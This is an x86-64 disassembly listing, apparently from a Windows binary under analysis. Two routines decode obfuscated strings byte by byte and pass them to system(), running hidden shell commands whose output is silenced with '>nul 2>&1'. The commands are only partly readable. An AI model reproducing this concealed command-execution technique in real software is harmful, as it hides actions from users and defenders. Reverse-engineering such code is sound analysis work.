lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3b], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3c], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x3d], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x3e], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x3f], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x48
mov byte [rsp + 0x40], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x41], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x42], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x43], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x44
mov byte [rsp + 0x44], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x65
mov byte [rsp + 0x45], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x62
mov byte [rsp + 0x46], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x75
mov byte [rsp + 0x47], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x67
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x67
mov byte [rsp + 0x49], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov byte [rsp + 0x4a], al
mov dl, 0x65
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, WSAStartup
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x53
mov byte [rsp + 0x4c], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x64
mov byte [rsp + 0x4d], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rsp + 0x4e], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x4f], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rsp + 0x50], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x75
mov byte [rsp + 0x52], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rsp + 0x53], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x54], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x32
mov byte [rsp + 0x55], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rsp + 0x56], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x26
mov byte [rsp + 0x57], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov dl, 0x31
mov byte [rsp + 0x58], al
lea rcx, [rsp + 0x38]
call fcn.140060eb8
mov byte [rsp + 0x59], al
mov rdi, rsi
xor eax, eax
mov byte [rsp + 0x5a], al
mov rdx, rdi
lea rcx, [rsp + 0x39]
call fcn.140060ec0
lea rcx, [rsp + 0x38]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rsp + 0x39]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x21
jb 0x14005dc84
mov edx, 0x21
lea rcx, [rsp + 0x39]
call fcn.140060ec0
lea rcx, [rsp + 0x39]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x20], 0x4b
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x63
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x22], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x23], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x24], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x25], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x26], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x27], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x29], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x66
mov byte [rsp + 0x2a], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x2b], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rsp + 0x2c], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rsp + 0x2d], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x75
mov byte [rsp + 0x2e], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rsp + 0x2f], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x20
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x32
mov byte [rsp + 0x31], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov byte [rsp + 0x32], al
mov dl, 0x3e
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x26
mov byte [rsp + 0x33], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov dl, 0x31
mov byte [rsp + 0x34], al
lea rcx, [rsp + 0x20]
call fcn.140060eb8
mov byte [rsp + 0x35], al
mov rdi, rsi
xor eax, eax
mov byte [rsp + 0x36], al
mov rdx, rdi
lea rcx, [rsp + 0x21]
call fcn.140060ec0
lea rcx, [rsp + 0x20]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rsp + 0x21]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, 0x15
jb 0x14005de3a
mov edx, reloc.WS2_32.dll_setsockopt
lea rcx, [rsp + 0x21]
call fcn.140060ec0
lea rcx, [rsp + 0x21]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret